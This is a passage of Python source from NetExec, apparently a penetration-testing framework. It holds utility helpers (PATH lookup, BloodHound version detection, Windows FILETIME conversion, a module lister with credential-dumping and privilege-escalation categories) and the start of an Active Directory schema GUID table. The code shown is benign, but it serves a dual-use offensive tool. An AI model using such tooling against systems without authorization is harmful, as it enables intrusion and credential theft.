os.X_OK, path=None): """Find the path which conforms to the given mode on the PATH for a command. Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This function was backported from the Python 3 source code. """ # Check that a given file can be accessed with the correct mode. # Additionally check that `file` is not a directory, as on Windows # directories pass the os.access check. def _access_check(fn, mode): return os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn) # If we're given a path with a directory part, look it up directly # rather than referring to PATH directories. This includes checking # relative to the current directory, e.g. ./script if os.path.dirname(cmd): if _access_check(cmd, mode): return cmd return None if path is None: path = os.environ.get("PATH", os.defpath) if not path: return None path = path.split(os.pathsep) files = [cmd] seen = set() for p in path: normdir = os.path.normcase(p) if normdir not in seen: seen.add(normdir) for thefile in files: name = os.path.join(p, thefile) if _access_check(name, mode): return name def get_bloodhound_info(): """ Detect which BloodHound package is installed (regular or CE) and its version. Returns ------- tuple: (package_name, version, is_ce) - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) - version: Version string of the installed package (or None if not installed) - is_ce: Boolean indicating if it's the Community Edition """ import importlib.metadata import importlib.util # First check if any BloodHound package is available to import if importlib.util.find_spec("bloodhound") is None: return None, None, False # Try to get version info from both possible packages version = None package_name = None is_ce = False # Check for bloodhound-ce first try: version = importlib.metadata.version("bloodhound-ce") package_name = "bloodhound-ce" is_ce = True except importlib.metadata.PackageNotFoundError: # Check for regular bloodhound try: version = importlib.metadata.version("bloodhound") package_name = "bloodhound" # Even when installed as 'bloodhound', check if it's actually the CE version if version and ("ce" in version.lower() or "community" in version.lower()): is_ce = True except importlib.metadata.PackageNotFoundError: # No bloodhound package found via metadata pass # In case we can import it but metadata is not working, check the module itself if not version: try: import bloodhound version = getattr(bloodhound, "__version__", "unknown") package_name = "bloodhound" # Check if it's CE based on version string if "ce" in version.lower() or "community" in version.lower(): is_ce = True package_name = "bloodhound-ce" except ImportError: pass return package_name, version, is_ce def detect_if_ip(target): try: ip_address(target) return True except Exception: return False def d2b(a): """ Function used to convert password property flags from decimal to binary format for easier interpretation of individual flag bits. """ tbin = [] while a: tbin.append(a % 2) a //= 2 t2bin = tbin[::-1] if len(t2bin) != 8: for _x in range(6 - len(t2bin)): t2bin.insert(0, 0) return "".join([str(g) for g in t2bin]) def convert(low, high, lockout=False): """ Convert Windows FILETIME (64-bit) values to human-readable time strings. Windows stores time intervals as 64-bit values representing 100-nanosecond intervals since January 1, 1601. This function converts these values to readable format like "30 days 5 hours 15 minutes". Args: low (int): Low 32 bits of the FILETIME value high (int): High 32 bits of the FILETIME value lockout (bool): If True, treats the value as a lockout duration (simpler conversion) Returns: str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or special values like "Not Set", "None", or "[-] Invalid TIME" """ time = "" tmp = 0 if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000): return "Not Set" if low == 0 and high == 0: return "None" if not lockout: if low != 0: high = abs(high + 1) else: high = abs(high) low = abs(low) tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) try: minutes = int(strftime("%M", gmtime(tmp))) hours = int(strftime("%H", gmtime(tmp))) days = int(strftime("%j", gmtime(tmp))) - 1 except ValueError: return "[-] Invalid TIME" if days > 1: time += f"{days} days " elif days == 1: time += f"{days} day " if hours > 1: time += f"{hours} hours " elif hours == 1: time += f"{hours} hour " if minutes > 1: time += f"{minutes} minutes " elif minutes == 1: time += f"{minutes} minute " return time def display_modules(args, modules): for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items(): # Add category filter for module listing if args.list_modules and args.list_modules.lower() != category.name.lower(): continue if len([module for module in modules.values() if module["category"] == category]) > 0: nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"])) for name, props in sorted(modules.items()): if props["category"] == category: nxc_logger.display(f"{name:<25} {props['description']}") class CATEGORY(Enum): ENUMERATION = "Enumeration" CREDENTIAL_DUMPING = "Credential Dumping" PRIVILEGE_ESCALATION = "Privilege Escalation" NetExec-1.5.1/nxc/helpers/msada_guids.py000066400000000000000000003656151514706431700201650ustar00rootroot00000000000000""" Impacket - Collection of Python classes for working with network protocols. SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. This software is provided under a slightly modified version of the Apache Software License. See the accompanying LICENSE file for more information. Authors: Charlie BROMBERG (@_nwodtuhs) Guillaume DAUMAS (@BlWasp_) Lucien DOUSTALY (@Wlayzz) References ---------- MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID: - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 GUIDS gathered from (lots of cleaning made from that source, things may be missing): - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1 This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers. """ SCHEMA_OBJECTS = { "2a132580-9373-11d1-aebc-0000f80367c1": "FRS-Partner-Auth-Level", "2a8c68fc-3a7a-4e87-8720-fe77c51cbe74": "ms-DS-Non-Members-BL", "963d2751-48be-11d1-a9c3-0000f80367c1": "Mscope-Id", "bf967a0c-0de6-11d0-a285-00aa003049e2": "Range-Lower", "29259694-09e4-4237-9f72-9306ebe63ab2": "ms-TS-Primary-Desktop", "963d2756-48be-11d1-a9c3-0000f80367c1": "DHCP-Class", "1562a632-44b9-4a7e-a2d3-e426c96a3acc": "ms-PKI-Private-Key-Recovery-Agent", "2a132581-9373-11d1-aebc-0000f80367c1": "FRS-Primary-Member", "4b1cba4e-302f-4134-ac7c-f01f6c797843": "ms-DS-Phonetic-First-Name", "7bfdcb7d-4807-11d1-a9c3-0000f80367c1": "Msi-File-List", "bf967a0d-0de6-11d0-a285-00aa003049e2": "Range-Upper", "f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2": "ms-TS-Secondary-Desktops", "5245801a-ca6a-11d0-afff-0000f80367c1": "FRS-Replica-Set-GUID", "f217e4ec-0836-4b90-88af-2f5d4bbda2bc": "ms-DS-Phonetic-Last-Name", "d9e18313-8939-11d1-aebc-0000f80367c1": "Msi-Script", "bf967a0e-0de6-11d0-a285-00aa003049e2": "RDN", "9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa": "ms-TS-Primary-Desktop-BL", "e0fa1e8a-9b45-11d0-afdd-00c04fd930c9": "Display-Specifier", "bf967aa8-0de6-11d0-a285-00aa003049e2": "Print-Queue", "bf967a8f-0de6-11d0-a285-00aa003049e2": "DMD", "26d9736b-6070-11d1-a9c6-0000f80367c1": "FRS-Replica-Set-Type", "6cd53daf-003e-49e7-a702-6fa896e7a6ef": "ms-DS-Phonetic-Department", "96a7dd62-9118-11d1-aebc-0000f80367c1": "Msi-Script-Name", "bf967a0f-0de6-11d0-a285-00aa003049e2": "RDN-Att-ID", "34b107af-a00a-455a-b139-dd1a1b12d8af": "ms-TS-Secondary-Desktop-BL", "1be8f174-a9ff-11d0-afe2-00c04fd930c9": "FRS-Root-Path", "5bd5208d-e5f4-46ae-a514-543bc9c47659": "ms-DS-Phonetic-Company-Name", "bf967937-0de6-11d0-a285-00aa003049e2": "Msi-Script-Path", "bf967a10-0de6-11d0-a285-00aa003049e2": "Registered-Address", "faaea977-9655-49d7-853d-f27bb7aaca0f": "MS-TS-Property01", "5fd4250c-1262-11d0-a060-00aa006c33ed": "Display-Template", "83cc7075-cca7-11d0-afff-0000f80367c1": "Query-Policy", "5a8b3261-c38d-11d1-bbc9-0080c76670c0": "SubSchema", "5245801f-ca6a-11d0-afff-0000f80367c1": "FRS-Root-Security", "e21a94e4-2d66-4ce5-b30d-0ef87a776ff0": "ms-DS-Phonetic-Display-Name", "96a7dd63-9118-11d1-aebc-0000f80367c1": "Msi-Script-Size", "bf967a12-0de6-11d0-a285-00aa003049e2": "Remote-Server-Name", "3586f6ac-51b7-4978-ab42-f936463198e7": "MS-TS-Property02", "bf967915-0de6-11d0-a285-00aa003049e2": "Account-Expires", "ddac0cee-af8f-11d0-afeb-00c04fd930c9": "FRS-Service-Command", "def449f1-fd3b-4045-98cf-d9658da788b5": "ms-DS-HAB-Seniority-Index", "9a0dc326-c100-11d1-bbc5-0080c76670c0": "MSMQ-Authenticate", "bf967a14-0de6-11d0-a285-00aa003049e2": "Remote-Source", "70004ef5-25c3-446a-97c8-996ae8566776": "MS-TS-ExpireDate", "bf967aa9-0de6-11d0-a285-00aa003049e2": "Remote-Mail-Recipient", "bf967a80-0de6-11d0-a285-00aa003049e2": "Attribute-Schema", "2a132582-9373-11d1-aebc-0000f80367c1": "FRS-Service-Command-Status", "c881b4e2-43c0-4ebe-b9bb-5250aa9b434c": "ms-DS-Promotion-Settings", "9a0dc323-c100-11d1-bbc5-0080c76670c0": "MSMQ-Base-Priority", "bf967a15-0de6-11d0-a285-00aa003049e2": "Remote-Source-Type", "54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925": "MS-TS-ExpireDate2", "e0fa1e8b-9b45-11d0-afdd-00c04fd930c9": "Dns-Zone", "031952ec-3b72-11d2-90cc-00c04fd91ab1": "Account-Name-History", "1be8f175-a9ff-11d0-afe2-00c04fd930c9": "FRS-Staging-Path", "98a7f36d-3595-448a-9e6f-6b8965baed9c": "ms-DS-SiteName", "9a0dc32e-c100-11d1-bbc5-0080c76670c0": "MSMQ-Computer-Type", "2a39c5b0-8960-11d1-aebc-0000f80367c1": "Remote-Storage-GUID", "41bc7f04-be72-4930-bd10-1f3439412387": "MS-TS-ExpireDate3", "2a39c5bd-8960-11d1-aebc-0000f80367c1": "Remote-Storage-Service-Point", "7f56127d-5301-11d1-a9c5-0000f80367c1": "ACS-Aggregate-Token-Rate-Per-User", "2a132583-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Command", "20119867-1d04-4ab7-9371-cfc3d5df0afd": "ms-DS-Supported-Encryption-Types", "18120de8-f4c4-4341-bd95-32eb5bcf7c80": "MSMQ-Computer-Type-Ex", "281416c0-1968-11d0-a28f-00aa003049e2": "Repl-Property-Meta-Data", "5e11dc43-204a-4faf-a008-6863621c6f5f": "MS-TS-ExpireDate4", "39bad96d-c2d6-4baf-88ab-7e4207600117": "document", "7f561283-5301-11d1-a9c5-0000f80367c1": "ACS-Allocable-RSVP-Bandwidth", "2a132584-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Config-Change", "29cc866e-49d3-4969-942e-1dbc0925d183": "ms-DS-Trust-Forest-Trust-Info", "9a0dc33a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Cost", "7bfdcb83-4807-11d1-a9c3-0000f80367c1": "Repl-Topology-Stay-Of-Execution", "0ae94a89-372f-4df2-ae8a-c64a2bc47278": "MS-TS-LicenseVersion", "a8df74d6-c5ea-11d1-bbcb-0080c76670c0": "Residential-Person", "1cb355a1-56d0-11d1-a9c6-0000f80367c1": "ACS-Cache-Timeout", "1be8f172-a9ff-11d0-afe2-00c04fd930c9": "FRS-Update-Timeout", "461744d7-f3b6-45ba-8753-fb9552a5df32": "ms-DS-Tombstone-Quota-Factor", "9a0dc334-c100-11d1-bbc5-0080c76670c0": "MSMQ-CSP-Name", "bf967a16-0de6-11d0-a285-00aa003049e2": "Repl-UpToDate-Vector", "4b0df103-8d97-45d9-ad69-85c3080ba4e7": "MS-TS-LicenseVersion2", "7a2be07c-302f-4b96-bc90-0795d66885f8": "documentSeries", "7f56127a-5301-11d1-a9c5-0000f80367c1": "ACS-Direction", "2a132585-9373-11d1-aebc-0000f80367c1": "FRS-Version", "7b7cce4f-f1f5-4bb6-b7eb-23504af19e75": "ms-DS-Top-Quota-Usage", "2df90d83-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Service", "bf967a18-0de6-11d0-a285-00aa003049e2": "Replica-Source", "f8ba8f81-4cab-4973-a3c8-3a6da62a5e31": "MS-TS-LicenseVersion3", "19195a5a-6da0-11d0-afd3-00c04fd930c9": "Domain", "b93e3a78-cbae-485e-a07b-5ef4ae505686": "rFC822LocalPart", "1cb355a0-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-DeadTime", "26d9736c-6070-11d1-a9c6-0000f80367c1": "FRS-Version-GUID", "d064fb68-1480-11d3-91c1-0000f87a57d4": "MS-DS-Machine-Account-Quota", "2df90d76-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Services", "bf967a1c-0de6-11d0-a285-00aa003049e2": "Reports", "70ca5d97-2304-490a-8a27-52678c8d2095": "MS-TS-LicenseVersion4", "19195a5b-6da0-11d0-afd3-00c04fd930c9": "Domain-DNS", "1cb3559e-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Priority", "1be8f173-a9ff-11d0-afe2-00c04fd930c9": "FRS-Working-Path", "638ec2e8-22e7-409c-85d2-11b21bee72de": "ms-DS-Object-Reference", "9a0dc33c-c100-11d1-bbc5-0080c76670c0": "MSMQ-Digests", "45ba9d1a-56fa-11d2-90d0-00c04fd91ab1": "Repl-Interval", "f3bcc547-85b0-432c-9ac0-304506bf2c83": "MS-TS-ManagingLS", "6617188d-8f3c-11d0-afda-00c04fd930c9": "RID-Manager", "1cb3559f-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Refresh", "66171887-8f3c-11d0-afda-00c04fd930c9": "FSMO-Role-Owner", "2b702515-c1f7-4b3b-b148-c0e4c6ceecb4": "ms-DS-Object-Reference-BL", "0f71d8e0-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Digests-Mig", "bf967a1d-0de6-11d0-a285-00aa003049e2": "Reps-From", "349f0757-51bd-4fc8-9d66-3eceea8a25be": "MS-TS-ManagingLS2", "bf967a99-0de6-11d0-a285-00aa003049e2": "Domain-Policy", "7f561287-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-ACS-Service", "5fd424a1-1262-11d0-a060-00aa006c33ed": "Garbage-Coll-Period", "93f701be-fa4c-43b6-bc2f-4dbea718ffab": "ms-DS-Operations-For-Az-Role", "2df90d82-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Service", "bf967a1e-0de6-11d0-a285-00aa003049e2": "Reps-To", "fad5dcc1-2130-4c87-a118-75322cd67050": "MS-TS-ManagingLS3", "7bfdcb89-4807-11d1-a9c3-0000f80367c1": "RID-Set", "f072230e-aef5-11d1-bdcf-0000f80367c1": "ACS-Enable-RSVP-Accounting", "bf96797a-0de6-11d0-a285-00aa003049e2": "Generated-Connection", "f85b6228-3734-4525-b6b7-3f3bb220902c": "ms-DS-Operations-For-Az-Role-BL", "2df90d78-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Services", "7d6c0e93-7e20-11d0-afd6-00c04fd930c9": "Required-Categories", "f7a3b6a0-2107-4140-b306-75cb521731e5": "MS-TS-ManagingLS4", "8bfd2d3d-efda-4549-852c-f85e137aedc6": "domainRelatedObject", "7f561285-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-RSVP-Message-Logging", "16775804-47f3-11d1-a9c3-0000f80367c1": "Generation-Qualifier", "1aacb436-2e9d-44a9-9298-ce4debeb6ebf": "ms-DS-Operations-For-Az-Task", "9a0dc331-c100-11d1-bbc5-0080c76670c0": "MSMQ-Encrypt-Key", "7bfdcb7f-4807-11d1-a9c3-0000f80367c1": "Retired-Repl-DSA-Signatures", "87e53590-971d-4a52-955b-4794d15a84ae": "MS-TSLS-Property01", "7860e5d2-c8b0-4cbb-bd45-d9455beb9206": "room", "eded5844-b3c3-41c3-a9e6-8984b52b7f98": "ms-Org-Group-Subtype-Name", "7f561286-5301-11d1-a9c5-0000f80367c1": "ACS-Event-Log-Level", "f0f8ff8e-1191-11d0-a060-00aa006c33ed": "Given-Name", "a637d211-5739-4ed1-89b2-88974548bc59": "ms-DS-Operations-For-Az-Task-BL", "9a0dc32f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Foreign", "b7c69e6d-2cc7-11d2-854e-00a0c983f608": "Token-Groups", "47c77bb0-316e-4e2f-97f1-0d4c48fca9dd": "MS-TSLS-Property02", "09b10f14-6f93-11d2-9905-0000f87a57d4": "DS-UI-Settings", "49b7560b-4707-4aa0-a27c-e17a09ca3f97": "ms-Org-Is-Organizational-Group", "dab029b6-ddf7-11d1-90a5-00c04fd91ab1": "ACS-Identity-Name", "f754c748-06f4-11d2-aa53-00c04fd7d83a": "Global-Address-List", "79d2f34c-9d7d-42bb-838f-866b3e4400e2": "ms-DS-Other-Settings", "9a0dc32c-c100-11d1-bbc5-0080c76670c0": "MSMQ-In-Routing-Servers", "46a9b11d-60ae-405a-b7e8-ff8a58d456d2": "Token-Groups-Global-And-Universal", "6a84ede5-741e-43fd-9dd6-aa0f61578621": "ms-DFSR-DisablePacketPrivacy", "80212842-4bdc-11d1-a9c4-0000f80367c1": "Rpc-Container", "8f905f24-a413-435a-8ed1-35385ec179f7": "ms-Org-Other-Display-Names", "f072230c-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Aggregate-Peak-Rate-Per-User", "bf96797d-0de6-11d0-a285-00aa003049e2": "Governs-ID", "564e9325-d057-c143-9e3b-4f9e5ef46f93": "ms-DS-Principal-Name", "8ea825aa-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval1", "040fc392-33df-11d2-98b2-0000f87a57d4": "Token-Groups-No-GC-Acceptable", "87811bd5-cd8b-45cb-9f5d-980f3a9e0c97": "ms-DFSR-DefaultCompressionExclusionFilter", "3fdfee52-47f4-11d1-a9c3-0000f80367c1": "DSA", "ee5b6790-3358-41a8-93f2-134ce21f3813": "ms-Org-Leaders", "7f56127e-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Duration-Per-Flow", "f30e3bbe-9ff0-11d1-b603-0000f80367c1": "GP-Link", "fbb9a00d-3a8c-4233-9cf9-7189264903a1": "ms-DS-Quota-Amount", "99b88f52-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval2", "bf967a21-0de6-11d0-a285-00aa003049e2": "Revision", "a68359dc-a581-4ee6-9015-5382c60f0fb4": "ms-DFSR-OnDemandExclusionFileFilter", "bf967aac-0de6-11d0-a285-00aa003049e2": "rpc-Entry", "afa58eed-a698-417e-9f56-fad54252c5f4": "ms-Org-Leaders-BL", "f0722310-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-No-Of-Account-Files", "f30e3bbf-9ff0-11d1-b603-0000f80367c1": "GP-Options", "6655b152-101c-48b4-b347-e1fcebc60157": "ms-DS-Quota-Effective", "9a0dc321-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal", "bf967a22-0de6-11d0-a285-00aa003049e2": "Rid", "7d523aff-9012-49b2-9925-f922a0018656": "ms-DFSR-OnDemandExclusionDirectoryFilter", "66d51249-3355-4c1f-b24e-81f252aca23b": "Dynamic-Object", "1cb3559c-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-No-Of-Log-Files", "f30e3bc1-9ff0-11d1-b603-0000f80367c1": "GPC-File-Sys-Path", "16378906-4ea5-49be-a8d1-bfd41dff4f65": "ms-DS-Quota-Trustee", "9a0dc324-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal-Quota", "66171889-8f3c-11d0-afda-00c04fd930c9": "RID-Allocation-Pool", "11e24318-4ca6-4f49-9afe-e5eb1afa3473": "ms-DFSR-Options2", "88611bdf-8cf4-11d0-afda-00c04fd930c9": "rpc-Group", "7f561284-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth", "f30e3bc0-9ff0-11d1-b603-0000f80367c1": "GPC-Functionality-Version", "b5a84308-615d-4bb7-b05f-2f1746aa439f": "ms-DS-Quota-Used", "9a0dc325-c100-11d1-bbc5-0080c76670c0": "MSMQ-Label", "66171888-8f3c-11d0-afda-00c04fd930c9": "RID-Available-Pool", "936eac41-d257-4bb9-bd55-f310a3cf09ad": "ms-DFSR-CommonStagingPath", "dd712229-10e4-11d0-a05f-00aa006c33ed": "File-Link-Tracking", "7f56127c-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth-Per-Flow", "32ff8ecc-783f-11d2-9916-0000f87a57d4": "GPC-Machine-Extension-Names", "8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc": "ms-DS-NC-Repl-Cursors", "4580ad25-d407-48d2-ad24-43e6e56793d7": "MSMQ-Label-Ex", "66171886-8f3c-11d0-afda-00c04fd930c9": "RID-Manager-Reference", "135eb00e-4846-458b-8ea2-a37559afd405": "ms-DFSR-CommonStagingSizeInMb", "88611be1-8cf4-11d0-afda-00c04fd930c9": "rpc-Profile", "f0722311-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Size-Of-RSVP-Account-File", "42a75fc6-783f-11d2-9916-0000f87a57d4": "GPC-User-Extension-Names", "9edba85a-3e9e-431b-9b1a-a5b6e9eda796": "ms-DS-NC-Repl-Inbound-Neighbors", "9a0dc335-c100-11d1-bbc5-0080c76670c0": "MSMQ-Long-Lived", "6617188c-8f3c-11d0-afda-00c04fd930c9": "RID-Next-RID", "d64b9c23-e1fa-467b-b317-6964d744d633": "ms-DFSR-StagingCleanupTriggerInPercent", "8e4eb2ed-4712-11d0-a1a0-00c04fd930c9": "File-Link-Tracking-Entry", "1cb3559d-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-Size-Of-RSVP-Log-File", "7bd4c7a6-1add-4436-8c04-3999a880154c": "GPC-WQL-Filter", "855f2ef5-a1c5-4cc4-ba6d-32522848b61f": "ms-DS-NC-Repl-Outbound-Neighbors", "9a0dc33f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Migrated", "6617188a-8f3c-11d0-afda-00c04fd930c9": "RID-Previous-Allocation-Pool", "b786cec9-61fd-4523-b2c1-5ceb3860bb32": "ms-DFS-Comment-v2", "f29653cf-7ad0-11d0-afd6-00c04fd930c9": "rpc-Profile-Element", "81f6e0df-3b90-11d2-90cc-00c04fd91ab1": "ACS-Max-Token-Bucket-Per-Flow", "bf96797e-0de6-11d0-a285-00aa003049e2": "Group-Attributes", "97de9615-b537-46bc-ac0f-10720f3909f3": "ms-DS-NC-Replica-Locations", "1d2f4412-f10d-4337-9b48-6e5b125cd265": "MSMQ-Multicast-Address", "7bfdcb7b-4807-11d1-a9c3-0000f80367c1": "RID-Set-References", "35b8b3d9-c58f-43d6-930e-5040f2f1a781": "ms-DFS-Generation-GUID-v2", "89e31c12-8530-11d0-afda-00c04fd930c9": "Foreign-Security-Principal", "7f56127b-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Token-Rate-Per-Flow", "bf967980-0de6-11d0-a285-00aa003049e2": "Group-Membership-SAM", "3df793df-9858-4417-a701-735a1ecebf74": "ms-DS-NC-RO-Replica-Locations", "9a0dc333-c100-11d1-bbc5-0080c76670c0": "MSMQ-Name-Style", "6617188b-8f3c-11d0-afda-00c04fd930c9": "RID-Used-Pool", "3c095e8a-314e-465b-83f5-ab8277bcf29b": "ms-DFS-Last-Modified-v2", "88611be0-8cf4-11d0-afda-00c04fd930c9": "rpc-Server", "87a2d8f9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Maximum-SDU-Size", "eea65905-8ac6-11d0-afda-00c04fd930c9": "Group-Priority", "f547511c-5b2a-44cc-8358-992a88258164": "ms-DS-NC-RO-Replica-Locations-BL", "eb38a158-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Flags", "8297931c-86d3-11d0-afda-00c04fd930c9": "Rights-Guid", "edb027f3-5726-4dee-8d4e-dbf07e1ad1f1": "ms-DFS-Link-Identity-GUID-v2", "c498f152-dc6b-474a-9f52-7cdba3d7d351": "friendlyCountry", "9c65329b-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Delay-Variation", "9a9a021e-4a5b-11d1-a9c3-0000f80367c1": "Group-Type", "2de144fc-1f52-486f-bdf4-16fcc3084e54": "ms-DS-Non-Security-Group-Extra-Classes", "6f914be6-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Stub", "a8df7465-c5ea-11d1-bbcb-0080c76670c0": "Role-Occupant", "86b021f6-10ab-40a2-a252-1dc0cc3be6a9": "ms-DFS-Link-Path-v2", "f29653d0-7ad0-11d0-afd6-00c04fd930c9": "rpc-Server-Element", "9517fefb-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Latency", "eea65904-8ac6-11d0-afda-00c04fd930c9": "Groups-to-Ignore", "d161adf0-ca24-4993-a3aa-8b2c981302e8": "MS-DS-Per-User-Trust-Quota", "9a0dc330-c100-11d1-bbc5-0080c76670c0": "MSMQ-OS-Type", "81d7f8c2-e327-4a0d-91c6-b42d4009115f": "roomNumber", "57cf87f7-3426-4841-b322-02b3b6e9eba8": "ms-DFS-Link-Security-Descriptor-v2", "8447f9f3-1027-11d0-a05f-00aa006c33ed": "FT-Dfs", "8d0e7195-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Policed-Size", "bf967982-0de6-11d0-a285-00aa003049e2": "Has-Master-NCs", "8b70a6c6-50f9-4fa3-a71e-1ce03040449b": "MS-DS-Per-User-Trust-Tombstones-Quota", "9a0dc32b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Out-Routing-Servers", "7bfdcb80-4807-11d1-a9c3-0000f80367c1": "Root-Trust", "200432ce-ec5f-4931-a525-d7f4afe34e68": "ms-DFS-Namespace-Identity-GUID-v2", "2a39c5be-8960-11d1-aebc-0000f80367c1": "RRAS-Administration-Connection-Point", "aec2cfe3-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Max-SDU-Size", "bf967981-0de6-11d0-a285-00aa003049e2": "Has-Partial-Replica-NCs", "d921b50a-0ab2-42cd-87f6-09cf83a91854": "ms-DS-Preferred-GC-Site", "9a0dc328-c100-11d1-bbc5-0080c76670c0": "MSMQ-Owner-ID", "88611bde-8cf4-11d0-afda-00c04fd930c9": "rpc-Ns-Annotation", "0c3e5bc5-eb0e-40f5-9b53-334e958dffdb": "ms-DFS-Properties-v2", "bf967a9c-0de6-11d0-a285-00aa003049e2": "Group", "b6873917-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Min-Policed-Size", "5fd424a7-1262-11d0-a060-00aa006c33ed": "Help-Data16", "d7c53242-724e-4c39-9d4c-2df8c9d66c7a": "ms-DS-Repl-Attribute-Meta-Data", "2df90d75-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Prev-Site-Gates", "bf967a23-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Bindings", "ec6d7855-704a-4f61-9aa6-c49a7c1d54c7": "ms-DFS-Schema-Major-Version", "f39b98ae-938d-11d1-aebd-0000f80367c1": "RRAS-Administration-Dictionary", "a331a73f-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Peak-Rate", "5fd424a8-1262-11d0-a060-00aa006c33ed": "Help-Data32", "2f5c8145-e1bd-410b-8957-8bfa81d5acfd": "ms-DS-Repl-Value-Meta-Data", "9a0dc327-c100-11d1-bbc5-0080c76670c0": "MSMQ-Privacy-Level", "7a0ba0e0-8e98-11d0-afda-00c04fd930c9": "rpc-Ns-Codeset", "fef9a725-e8f1-43ab-bd86-6a0115ce9e38": "ms-DFS-Schema-Minor-Version", "bf967a9d-0de6-11d0-a285-00aa003049e2": "Group-Of-Names", "a916d7c9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Token-Size", "5fd424a9-1262-11d0-a060-00aa006c33ed": "Help-File-Name", "0ea12b84-08b3-11d3-91bc-0000f87a57d4": "MS-DS-Replicates-NC-Reason", "9a0dc33e-c100-11d1-bbc5-0080c76670c0": "MSMQ-QM-ID", "80212841-4bdc-11d1-a9c4-0000f80367c1": "rpc-Ns-Entry-Flags", "2d7826f0-4cf7-42e9-a039-1110e0d9ca99": "ms-DFS-Short-Name-Link-Path-v2", "bf967a91-0de6-11d0-a285-00aa003049e2": "Sam-Domain-Base", "1cb355a2-56d0-11d1-a9c6-0000f80367c1": "ACS-Non-Reserved-Tx-Limit", "ec05b750-a977-4efe-8e8d-ba6c1a6e33a8": "Hide-From-AB", "85abd4f4-0a89-4e49-bdec-6f35bb2562ba": "ms-DS-Replication-Notify-First-DSA-Delay", "8e441266-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Journal-Quota", "bf967a24-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Group", "6ab126c6-fa41-4b36-809e-7ca91610d48f": "ms-DFS-Target-List-v2", "0310a911-93a3-4e21-a7a3-55d85ab2c48b": "groupOfUniqueNames", "fe7afe45-3d14-43a7-afa7-3a1b144642af": "ms-Mcs-AdmPwdExpirationTime", "f072230d-aef5-11d1-bdcf-0000f80367c1": "ACS-Non-Reserved-Tx-Size", "bf967985-0de6-11d0-a285-00aa003049e2": "Home-Directory", "d63db385-dd92-4b52-b1d8-0d3ecc0e86b6": "ms-DS-Replication-Notify-Subsequent-DSA-Delay", "2df90d87-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Queue-Name-Ext", "bf967a25-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Interface-ID", "ea944d31-864a-4349-ada5-062e2c614f5e": "ms-DFS-Ttl-v2", "bf967aad-0de6-11d0-a285-00aa003049e2": "Sam-Server", 